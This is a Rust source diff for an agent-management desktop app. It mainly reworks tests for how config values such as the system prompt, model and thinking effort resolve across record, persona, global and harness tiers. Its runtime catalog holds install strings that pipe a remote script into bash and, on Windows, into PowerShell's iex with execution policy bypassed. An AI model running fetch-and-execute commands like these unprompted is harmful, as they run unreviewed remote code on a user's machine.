-    assert_eq!(provider.origin, ConfigOrigin::PersonaDefault);
-}
-
-#[test]
-fn persona_system_prompt_injection_produces_persona_default_origin() {
-    let mut record = test_record();
-    // Simulate: record has no system_prompt, persona provides one via env var.
-    // The call-site injects it as BUZZ_ACP_SYSTEM_PROMPT before calling the reader.
-    record.env_vars.insert(
-        "BUZZ_ACP_SYSTEM_PROMPT".to_string(),
-        "You are a helpful assistant.".to_string(),
-    );
-    let runtime = test_runtime();
-
-    let mut surface = read_config_surface(&record, Some(runtime), None, None);
-
-    // Reader sees injected prompt as BuzzExplicit.
-    let prompt = surface.normalized.system_prompt.as_ref().unwrap();
-    assert_eq!(
-        prompt.value.as_deref(),
-        Some("You are a helpful assistant.")
-    );
-    assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit);
-
-    // Call-site re-tags (simulating had_prompt == false).
-    if let Some(ref mut field) = surface.normalized.system_prompt {
-        if field.origin == ConfigOrigin::BuzzExplicit {
-            field.origin = ConfigOrigin::PersonaDefault;
-        }
-    }
-
-    let prompt = surface.normalized.system_prompt.unwrap();
-    assert_eq!(
-        prompt.value.as_deref(),
-        Some("You are a helpful assistant.")
-    );
-    assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault);
-}
+// ── system_prompt builder unit tests ─────────────────────────────────────────
 
 #[test]
-fn config_file_only_system_prompt_surfaces_as_read_only_config_file_field() {
-    // Record/env has no prompt; the config file does. It must NOT be
-    // dropped — it should surface with ConfigFile origin, read-only.
-    let field = build_system_prompt_field(&None, &Some("File-driven prompt.".to_string())).unwrap();
+fn config_file_only_system_prompt_surfaces_as_config_file_origin() {
+    // Record/env has no prompt; the config file does. Must surface with
+    // ConfigFile origin. Write mechanism is always RespawnWithEnvVar for
+    // system_prompt — the UI writes back via BUZZ_ACP_SYSTEM_PROMPT.
+    let record = test_record();
+    let field = build_system_prompt_field(
+        &record,
+        &Some("File-driven prompt.".to_string()),
+        &no_tiers(),
+    )
+    .unwrap();
     assert_eq!(field.value.as_deref(), Some("File-driven prompt."));
     assert_eq!(field.origin, ConfigOrigin::ConfigFile);
-    assert!(matches!(field.write_via, ConfigWriteMechanism::ReadOnly));
+    assert!(matches!(
+        field.write_via,
+        ConfigWriteMechanism::RespawnWithEnvVar { ref env_key }
+            if env_key == "BUZZ_ACP_SYSTEM_PROMPT"
+    ));
     assert!(field.overridden_value.is_none());
 }
 
 #[test]
 fn record_system_prompt_shadows_config_file_prompt_as_secondary() {
-    let field = build_system_prompt_field(
-        &Some("Record prompt.".to_string()),
-        &Some("File prompt.".to_string()),
-    )
-    .unwrap();
+    let mut record = test_record();
+    record.system_prompt = Some("Record prompt.".to_string());
+    let field =
+        build_system_prompt_field(&record, &Some("File prompt.".to_string()), &no_tiers()).unwrap();
     assert_eq!(field.value.as_deref(), Some("Record prompt."));
     assert_eq!(field.origin, ConfigOrigin::BuzzExplicit);
     assert_eq!(field.overridden_value.as_deref(), Some("File prompt."));
@@ -510,19 +527,19 @@ fn record_system_prompt_shadows_config_file_prompt_as_secondary() {
 
 #[test]
 fn no_system_prompt_from_any_tier_yields_none() {
-    assert!(build_system_prompt_field(&None, &None).is_none());
+    let record = test_record();
+    assert!(build_system_prompt_field(&record, &None, &no_tiers()).is_none());
 }
 
 #[test]
 fn explicit_record_model_not_retagged_when_already_present() {
     let mut record = test_record();
-    // Record already has its own model — persona resolution should NOT re-tag.
+    // Record already has its own model — origin stays BuzzExplicit.
     record.model = Some("explicit-model".to_string());
     let runtime = test_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
-    // had_model == true, so no re-tagging occurs. Origin stays BuzzExplicit.
     let model = surface.normalized.model.unwrap();
     assert_eq!(model.value.as_deref(), Some("explicit-model"));
     assert_eq!(model.origin, ConfigOrigin::BuzzExplicit);
@@ -544,7 +561,7 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() {
         .insert("SPROUT_ACP_MEMORY".to_string(), "mem-value".to_string());
     let runtime = test_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect();
     assert!(
@@ -575,21 +592,15 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() {
 
 #[test]
 fn extra_env_var_skipped_when_already_in_file_config_extra() {
-    // If a key is in both record.env_vars and file_config.extra, the config
-    // file entry wins (it was already added to advanced). The env var must
-    // not produce a second entry.
-    //
-    // We can't inject into file_config.extra directly in a unit test (it
-    // comes from disk), so we verify the dedup logic via the normalized-key
-    // path: GOOSE_THINKING_EFFORT is a normalized key and must not appear
-    // in advanced even if set in env_vars.
+    // If a key is normalized, it must not appear in advanced even if set
+    // in env_vars.
     let mut record = test_record();
     record
         .env_vars
         .insert("GOOSE_THINKING_EFFORT".to_string(), "high".to_string());
     let runtime = test_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect();
     assert!(
@@ -598,7 +609,7 @@ fn extra_env_var_skipped_when_already_in_file_config_extra() {
     );
 }
 
-// ── buzz-agent normalized env-var field tests ───────────────────────────────
+// ── buzz-agent normalized env-var field tests ─────────────────────────────────
 //
 // buzz-agent uses env vars (not a config file) for max_output_tokens and
 // context_limit. build_numeric_env_field must surface these as BuzzExplicit
@@ -634,6 +645,7 @@ fn buzz_agent_runtime() -> &'static KnownAcpRuntime {
         thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"),
         max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"),
         context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"),
+        max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"),
         required_normalized_fields: &["model", "provider"],
         login_hint: None,
         auth_probe_args: None,
@@ -649,7 +661,7 @@ fn buzz_agent_max_output_tokens_from_env_is_buzz_explicit() {
     );
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let field = surface.normalized.max_output_tokens.unwrap();
     assert_eq!(field.value.as_deref(), Some("8192"));
@@ -670,7 +682,7 @@ fn buzz_agent_context_limit_from_env_is_buzz_explicit() {
     );
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let field = surface.normalized.context_limit.unwrap();
     assert_eq!(field.value.as_deref(), Some("100000"));
@@ -688,7 +700,7 @@ fn buzz_agent_max_tokens_absent_when_no_env_var_or_file() {
     let record = test_record();
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     assert!(
         surface.normalized.max_output_tokens.is_none(),
@@ -713,7 +725,7 @@ fn buzz_agent_max_tokens_env_var_not_double_surfaced_in_advanced() {
     );
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect();
     assert!(
@@ -734,7 +746,7 @@ fn buzz_agent_thinking_effort_from_env_is_buzz_explicit() {
         .insert("BUZZ_AGENT_THINKING_EFFORT".to_string(), "high".to_string());
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let field = surface.normalized.thinking_effort.unwrap();
     assert_eq!(field.value.as_deref(), Some("high"));
@@ -755,7 +767,7 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() {
     );
     let runtime = buzz_agent_runtime();
 
-    let surface = read_config_surface(&record, Some(runtime), None, None);
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
 
     let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect();
     assert!(
@@ -764,10 +776,20 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() {
     );
 }
 
+// ── provider builder unit tests ───────────────────────────────────────────────
+
 #[test]
 fn missing_required_provider_still_returns_dropdown_field() {
-    let provider = build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, true)
-        .expect("required provider field should be surfaced even when empty");
+    let record = test_record();
+    let provider = build_provider_field(
+        &record,
+        &None,
+        Some("GOOSE_PROVIDER"),
+        false,
+        true,
+        &no_tiers(),
+    )
+    .expect("required provider field should be surfaced even when empty");
 
     assert_eq!(provider.value, None);
     assert_eq!(provider.origin, ConfigOrigin::EnvVar);
@@ -776,5 +798,156 @@ fn missing_required_provider_still_returns_dropdown_field() {
 
 #[test]
 fn missing_optional_provider_stays_hidden() {
-    assert!(build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, false).is_none());
+    let record = test_record();
+    assert!(build_provider_field(
+        &record,
+        &None,
+        Some("GOOSE_PROVIDER"),
+        false,
+        false,
+        &no_tiers()
+    )
+    .is_none());
+}
+
+// ── thinking_effort persona/global tier tests (AC-1..5) ──────────────────────
+//
+// The plan's acceptance criteria for effort tier resolution.
+// Tier ordering: record env > ACP > persona env > global env > config file.
+
+fn buzz_agent_rt() -> &'static KnownAcpRuntime {
+    crate::managed_agents::discovery::known_acp_runtime_exact("buzz-agent")
+        .expect("buzz-agent must be in catalog")
+}
+
+/// AC-1: no record effort, global env has effort → GlobalDefault.
+/// Real-world case: global-agent-config has BUZZ_AGENT_THINKING_EFFORT=high,
+/// per-agent record has no env_vars → effort must surface with GlobalDefault origin.
+#[test]
+fn global_effort_surfaces_as_global_default_when_record_has_none() {
+    let record = test_record();
+    let runtime = buzz_agent_rt();
+    let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let effort = surface
+        .normalized
+        .thinking_effort
+        .expect("effort must surface from global tier");
+    assert_eq!(effort.value.as_deref(), Some("high"));
+    assert_eq!(effort.origin, ConfigOrigin::GlobalDefault);
+}
+
+/// AC-2: persona env has effort, global also has effort → PersonaDefault wins, shadows global.
+#[test]
+fn persona_effort_shadows_global_and_tags_persona_default() {
+    let record = test_record();
+    let runtime = buzz_agent_rt();
+    let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let effort = surface
+        .normalized
+        .thinking_effort
+        .expect("effort must surface from persona tier");
+    assert_eq!(effort.value.as_deref(), Some("medium"));
+    assert_eq!(effort.origin, ConfigOrigin::PersonaDefault);
+    // global is the overridden baseline
+    assert_eq!(effort.overridden_value.as_deref(), Some("high"));
+    assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault));
 }
+
+/// AC-3: record-level effort wins over persona and global, stays BuzzExplicit.
+#[test]
+fn record_effort_outranks_persona_and_global_keeps_buzz_explicit() {
+    let mut record = test_record();
+    record.env_vars.insert(
+        "BUZZ_AGENT_THINKING_EFFORT".to_string(),
+        "xhigh".to_string(),
+    );
+    let runtime = buzz_agent_rt();
+    let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let effort = surface
+        .normalized
+        .thinking_effort
+        .expect("effort must surface from record tier");
+    assert_eq!(effort.value.as_deref(), Some("xhigh"));
+    assert_eq!(effort.origin, ConfigOrigin::BuzzExplicit);
+}
+
+/// AC-4: no effort from any tier → thinking_effort field is absent.
+#[test]
+fn no_effort_anywhere_yields_no_thinking_effort_field() {
+    let record = test_record();
+    let runtime = buzz_agent_rt();
+
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
+
+    assert!(
+        surface.normalized.thinking_effort.is_none(),
+        "thinking_effort must be None when no tier has a value"
+    );
+}
+
+/// AC-5 (conflicting-ACP): inherited effort set (global=high) + live ACP effort=low
+/// → ACP wins as primary (AcpConfigOption), global is the overridden secondary.
+#[test]
+fn acp_effort_wins_over_inherited_global_effort_as_secondary() {
+    let record = test_record();
+    let runtime = buzz_agent_rt();
+    let cache = SessionConfigCache {
+        config_options: vec![AcpConfigOptionEntry {
+            config_id: "effort".to_string(),
+            category: Some("effort".to_string()),
+            display_name: Some("Effort".to_string()),
+            current_value: Some("low".to_string()),
+            options: vec![],
+        }],
+        available_modes: vec![],
+        available_models: vec![],
+        current_model: None,
+        model_overridden: false,
+        goose_native_config: None,
+        captured_at: "".to_string(),
+    };
+    let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high");
+
+    let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers);
+
+    let effort = surface
+        .normalized
+        .thinking_effort
+        .expect("effort must surface from ACP tier");
+    // Live ACP value wins.
+    assert_eq!(effort.value.as_deref(), Some("low"));
+    assert_eq!(effort.origin, ConfigOrigin::AcpConfigOption);
+    // Global is surfaced as the overridden baseline.
+    assert_eq!(effort.overridden_value.as_deref(), Some("high"));
+    assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault));
+}
+
+// ── Numerics inheritance tests ────────────────────────────────────────────────
+//
+// max_output_tokens and context_limit gain persona/global tiers.
+
+#[test]
+fn numeric_max_tokens_inherits_from_global_env() {
+    let record = test_record();
+    let runtime = buzz_agent_runtime();
+    let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let field = surface.normalized.max_output_tokens.unwrap();
+    assert_eq!(field.value.as_deref(), Some("16384"));
+    assert_eq!(field.origin, ConfigOrigin::GlobalDefault);
+}
+
+// ── Extended tests (split file to respect line-count ratchet) ────────────────
+#[path = "reader_tests_ext.rs"]
+mod ext;
diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs
new file mode 100644
index 0000000000..8613124f25
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs
@@ -0,0 +1,258 @@
+//! Additional tests for `config_bridge/reader.rs` — split out to keep
+//! `reader_tests.rs` under the 1000-line file-size ratchet.
+//!
+//! Included as `mod ext` inside `reader_tests.rs`, so `use super::*` gives
+//! access to all helpers and types from that module.
+
+use super::*;
+
+// ── Numerics inheritance tests ────────────────────────────────────────────────
+//
+// max_output_tokens and context_limit gain persona/global tiers.
+
+#[test]
+fn numeric_context_limit_inherits_from_persona_env() {
+    let record = test_record();
+    let runtime = buzz_agent_runtime();
+    let tiers = persona_env_tiers("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let field = surface.normalized.context_limit.unwrap();
+    assert_eq!(field.value.as_deref(), Some("200000"));
+    assert_eq!(field.origin, ConfigOrigin::PersonaDefault);
+}
+
+#[test]
+fn record_max_tokens_overrides_global_env_with_secondary() {
+    let mut record = test_record();
+    record.env_vars.insert(
+        "BUZZ_AGENT_MAX_OUTPUT_TOKENS".to_string(),
+        "8192".to_string(),
+    );
+    let runtime = buzz_agent_runtime();
+    let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let field = surface.normalized.max_output_tokens.unwrap();
+    assert_eq!(field.value.as_deref(), Some("8192"));
+    assert_eq!(field.origin, ConfigOrigin::BuzzExplicit);
+    // Global value is the overridden secondary.
+    assert_eq!(field.overridden_value.as_deref(), Some("16384"));
+    assert_eq!(field.overridden_origin, Some(ConfigOrigin::GlobalDefault));
+}
+
+// ── Env-vs-structured collision tests (plan v3, Phase 2) ─────────────────────
+
+/// Collision test 1: persona structured prompt + global env BUZZ_ACP_SYSTEM_PROMPT
+/// → global env wins (env block sits entirely above structured).
+#[test]
+fn global_env_prompt_wins_over_persona_structured_prompt() {
+    let record = test_record();
+    let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        global_env: {
+            let mut m = BTreeMap::new();
+            m.insert(
+                "BUZZ_ACP_SYSTEM_PROMPT".to_string(),
+                "global-env-prompt".to_string(),
+            );
+            m
+        },
+        persona_prompt: Some("persona-structured-prompt".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let prompt = surface.normalized.system_prompt.unwrap();
+    assert_eq!(prompt.value.as_deref(), Some("global-env-prompt"));
+    assert_eq!(prompt.origin, ConfigOrigin::GlobalDefault);
+}
+
+/// Collision test 2: structured persona/record model + higher user-env value at
+/// the runtime's model key → env value wins.
+#[test]
+fn persona_env_model_wins_over_persona_structured_model() {
+    let record = test_record(); // no record.model
+    let runtime = test_runtime(); // GOOSE_MODEL
+    let tiers = InheritedConfigTiers {
+        persona_env: {
+            let mut m = BTreeMap::new();
+            m.insert("GOOSE_MODEL".to_string(), "env-model".to_string());
+            m
+        },
+        persona_model: Some("struct-persona-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let model = surface.normalized.model.unwrap();
+    // persona env outranks persona struct because env candidates precede struct
+    assert_eq!(model.value.as_deref(), Some("env-model"));
+    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+}
+
+/// Collision test 3: no env representation → structured persona/record/global
+/// fallback and provenance remain intact.
+#[test]
+fn structured_fallback_intact_when_no_env_representation() {
+    let record = test_record(); // no record.model, no env vars
+    let runtime = test_runtime();
+    let tiers = InheritedConfigTiers {
+        persona_model: Some("struct-persona-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let model = surface.normalized.model.unwrap();
+    assert_eq!(model.value.as_deref(), Some("struct-persona-model"));
+    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+}
+
+// ── Post-sanitization fallthrough test ───────────────────────────────────────
+//
+// Sanitization itself happens at the command boundary in `build_inherited_tiers`
+// (a value with a NUL byte or an oversize value is dropped from the tier) and is
+// pinned by the tests in `commands/agent_config_tests.rs`. The reader only ever
+// sees the sanitized result, so what it must guarantee is the downstream half:
+// a key stripped from one tier falls through to the next.
+
+/// A key absent from the global env tier — the shape the reader sees after the
+/// command boundary strips an invalid value — falls through to the persona tier.
+#[test]
+fn post_sanitization_empty_global_env_falls_through_to_persona_tier() {
+    let record = test_record();
+    let runtime = buzz_agent_rt();
+    // No global env (stripped); persona provides the valid fallback.
+    let tiers = persona_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium");
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    // Persona value surfaces instead of the stripped global value.
+    let effort = surface.normalized.thinking_effort.unwrap();
+    assert_eq!(effort.value.as_deref(), Some("medium"));
+    assert_eq!(effort.origin, ConfigOrigin::PersonaDefault);
+}
+
+// ── Pass-3 prompt collision test ─────────────────────────────────────────────
+//
+// From Thufir's pass-3 verdict MINOR clarification (promoted to required):
+// definition-less record with both structured and env prompt — env wins.
+
+/// Pass-3 clarification: record.system_prompt = A + record env
+/// BUZZ_ACP_SYSTEM_PROMPT = B → B wins as BuzzExplicit.
+/// The env block sits above the struct block per v3 candidate-preparation
+/// contract; current reader semantics (struct before env) would be wrong.
+#[test]
+fn record_env_prompt_wins_over_record_struct_prompt_as_buzz_explicit() {
+    let mut record = test_record();
+    record.system_prompt = Some("struct-prompt-A".to_string());
+    record.env_vars.insert(
+        "BUZZ_ACP_SYSTEM_PROMPT".to_string(),
+        "env-prompt-B".to_string(),
+    );
+    let runtime = test_runtime();
+
+    let surface = read_config_surface(&record, Some(runtime), None, &no_tiers());
+
+    let prompt = surface.normalized.system_prompt.unwrap();
+    assert_eq!(prompt.value.as_deref(), Some("env-prompt-B"));
+    assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit);
+    // Struct prompt is the secondary.
+    assert_eq!(prompt.overridden_value.as_deref(), Some("struct-prompt-A"));
+    assert_eq!(prompt.overridden_origin, Some(ConfigOrigin::BuzzExplicit));
+}
+
+// ── Definition env tier tests (Layer 2b) ─────────────────────────────────────
+//
+// The harness definition's `env` block sits below global env and above
+// structured values in spawn's precedence (Layer 2b). These tests exercise
+// the reader's mapping of that tier to `HarnessDefault` origin.
+
+/// Definition env wins over structured persona model when no user-env or
+/// global-env candidate is present.
+#[test]
+fn definition_env_beats_structured_persona_model() {
+    let record = test_record(); // no record.model, no record.env_vars
+    let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL"
+    let tiers = InheritedConfigTiers {
+        definition_env: {
+            let mut m = BTreeMap::new();
+            m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string());
+            m
+        },
+        persona_model: Some("persona-struct-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let model = surface.normalized.model.unwrap();
+    assert_eq!(model.value.as_deref(), Some("harness-model"));
+    assert_eq!(model.origin, ConfigOrigin::HarnessDefault);
+    // Structured persona model is the overridden secondary.
+    assert_eq!(
+        model.overridden_value.as_deref(),
+        Some("persona-struct-model")
+    );
+    assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault));
+}
+
+/// Global env beats definition env — user-settable tiers always win over the
+/// harness author's defaults.
+#[test]
+fn global_env_beats_definition_env() {
+    let record = test_record();
+    let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL"
+    let tiers = InheritedConfigTiers {
+        global_env: {
+            let mut m = BTreeMap::new();
+            m.insert("GOOSE_MODEL".to_string(), "global-model".to_string());
+            m
+        },
+        definition_env: {
+            let mut m = BTreeMap::new();
+            m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string());
+            m
+        },
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let model = surface.normalized.model.unwrap();
+    assert_eq!(model.value.as_deref(), Some("global-model"));
+    assert_eq!(model.origin, ConfigOrigin::GlobalDefault);
+    // Harness default is the overridden secondary.
+    assert_eq!(model.overridden_value.as_deref(), Some("harness-model"));
+    assert_eq!(model.overridden_origin, Some(ConfigOrigin::HarnessDefault));
+}
+
+/// A reserved key in the definition env is stripped by sanitization and must
+/// not reach the reader. This test exercises the reader's contract (a key
+/// absent from the tier falls through) — sanitization itself is pinned in
+/// the `agent_config_tests.rs` constructor tests.
+#[test]
+fn reserved_key_absent_from_definition_env_falls_through() {
+    let record = test_record();
+    let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL"
+                                  // definition_env contains only an unrelated key — the env map here is what
+                                  // the command boundary would produce after stripping a reserved key; the
+                                  // reader must fall through to the next tier (persona structured model).
+    let tiers = InheritedConfigTiers {
+        definition_env: BTreeMap::new(), // stripped — nothing survives
+        persona_model: Some("persona-struct-model".to_string()),
+        ..Default::default()
+    };
+
+    let surface = read_config_surface(&record, Some(runtime), None, &tiers);
+
+    let model = surface.normalized.model.unwrap();
+    // Falls through to persona structured model.
+    assert_eq!(model.value.as_deref(), Some("persona-struct-model"));
+    assert_eq!(model.origin, ConfigOrigin::PersonaDefault);
+}
diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs
index 15ccb718e7..6ca2592538 100644
--- a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs
+++ b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs
@@ -2,6 +2,41 @@ use std::collections::BTreeMap;
 
 use serde::{Deserialize, Serialize};
 
+/// Sanitized inherited config tiers passed to the reader.
+///
+/// Built at the `agent_config` command boundary with spawn-equivalent
+/// sanitization: reserved, malformed, NUL-value, and oversize-value env keys
+/// are stripped (matching `merged_user_env`). Structured fields are
+/// normalized: blank/whitespace-only values collapse to `None`.
+///
+/// Orphaned persona links (persona_id references a missing persona) produce
+/// an empty persona env tier and `None` for all structured persona fields —
+/// the panel still renders from record/global. This diverges deliberately from
+/// spawn's `OrphanedInstance` refusal, which is a spawn-safety property the
+/// display surface does not need to enforce.
+#[derive(Debug, Clone, Default)]
+pub struct InheritedConfigTiers {
+    /// Sanitized env vars from the linked persona definition.
+    pub persona_env: BTreeMap<String, String>,
+    /// Sanitized env vars from the global agent config.
+    pub global_env: BTreeMap<String, String>,
+    /// Sanitized env vars from the resolved harness definition (`HarnessDefinition::env`).
+    /// Sits below global env and above structured values, matching spawn Layer 2b.
+    /// Empty for preset harnesses (all shipped presets have `env: {}`); only
+    /// user-authored custom harness JSONs with a non-empty `env` block contribute here.
+    pub definition_env: BTreeMap<String, String>,
+    /// Structured model from the linked persona (non-blank only).
+    pub persona_model: Option<String>,
+    /// Structured provider from the linked persona (non-blank only).
+    pub persona_provider: Option<String>,
+    /// Structured system_prompt from the linked persona (non-blank only).
+    pub persona_prompt: Option<String>,
+    /// Structured model from global config (non-blank only).
+    pub global_model: Option<String>,
+    /// Structured provider from global config (non-blank only).
+    pub global_provider: Option<String>,
+}
+
 /// Where a config value came from — determines precedence and UI annotations.
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -17,14 +52,12 @@ pub enum ConfigOrigin {
     /// Read from harness config file on disk (tier 2b, lowest precedence).
     ConfigFile,
     /// Value inherited from persona defaults.
-    /// Populated by the `get_agent_config_surface` call site: persona values are
-    /// resolved before calling the reader, then the surface is post-processed to
-    /// re-tag injected fields from `BuzzExplicit` to `PersonaDefault`.
+    /// Populated when a persona's env var or structured field wins for this
+    /// field in the reader's candidate resolution.
     PersonaDefault,
     /// Value inherited from global agent configuration defaults.
     /// The lowest user-settable layer — active when neither the agent record nor
-    /// the linked persona specifies a value. Re-tagged from `BuzzExplicit` by the
-    /// `resolve_config_surface` call site, analogously to `PersonaDefault`.
+    /// the linked persona specifies a value.
     GlobalDefault,
     /// Live runtime model override applied via the ModelPicker (Phase 3).
     /// The ACP session's current model diverges from the persona model because
@@ -35,6 +68,11 @@ pub enum ConfigOrigin {
     /// env var. E.g. Claude Code only supports Anthropic as a provider; the
     /// "locked" display is synthesized by the config bridge, not read from disk.
     HarnessConstraint,
+    /// Value comes from a custom harness definition's `env` block.
+    /// Sits below global env and above structured persona/global values,
+    /// matching spawn Layer 2b. Only reachable for user-authored custom harness
+    /// JSONs with a non-empty `env` block; preset harnesses always have empty env.
+    HarnessDefault,
 }
 
 /// How a config field can be written back to the runtime.
diff --git a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs
index e6bc09496c..ba0448beaf 100644
--- a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs
+++ b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs
@@ -268,7 +268,7 @@ pub(crate) fn registry_test_lock() -> std::sync::MutexGuard<'static, ()> {
 
 /// Thread-safe registry of non-builtin (preset + custom) harness definitions,
 /// populated on every `discover_acp_runtimes_from` call and queried at spawn time.
-fn loaded_harness_registry() -> &'static RwLock<Vec<Arc<HarnessDefinition>>> {
+pub(super) fn loaded_harness_registry() -> &'static RwLock<Vec<Arc<HarnessDefinition>>> {
     use std::sync::OnceLock;
     static REGISTRY: OnceLock<RwLock<Vec<Arc<HarnessDefinition>>>> = OnceLock::new();
     REGISTRY.get_or_init(|| RwLock::new(Vec::new()))
diff --git a/desktop/src-tauri/src/managed_agents/discovery.rs b/desktop/src-tauri/src/managed_agents/discovery.rs
index 8d1b8a5013..bc0e3a6cda 100644
--- a/desktop/src-tauri/src/managed_agents/discovery.rs
+++ b/desktop/src-tauri/src/managed_agents/discovery.rs
@@ -9,12 +9,15 @@ use crate::managed_agents::{
     AcpAvailabilityStatus, AcpRuntimeCatalogEntry, AuthStatus, CommandAvailabilityInfo,
     HarnessSource,
 };
-
 mod presets;
 mod runtime_metadata;
-
+#[macro_use]
+mod windows_install;
+pub(crate) use presets::{
+    canonical_harness_command, command_for_runtime_id, preset_harness_definitions,
+    preset_harness_ids,
+};
 use presets::{preset_catalog_entry, PRESET_HARNESSES};
-pub(crate) use presets::{preset_harness_definitions, preset_harness_ids};
 pub(crate) use runtime_metadata::KnownAcpRuntime;
 
 const GOOSE_AVATAR_URL: &str = "https://goose-docs.ai/img/logo_dark.png";
@@ -85,7 +88,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         cli_install_commands: &["curl -fsSL https://github.com/aaif-goose/goose/releases/download/stable/download_cli.sh | CONFIGURE=false bash"],
         // Goose's stable release currently publishes only the Unix installer;
         // its official Windows instructions intentionally point at this main-branch script.
-        cli_install_commands_windows: &["powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"$env:CONFIGURE='false'; irm https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1 | iex\""],
+        cli_install_commands_windows: &[windows_install_command!("goose", "https://raw.githubusercontent.com/aaif-goose/goose/main/download_cli.ps1", "$env:CONFIGURE='false'; ")],
         adapter_install_commands: &[],
         cli_install_instructions_url: "https://goose-docs.ai/docs/getting-started/installation/",
         adapter_install_instructions_url: "",
@@ -103,6 +106,7 @@ const KNOWN_ACP_RUNTIMES: &[KnownAcpRuntime] = &[
         thinking_env_var: Some("GOOSE_THINKING_EFFORT"),
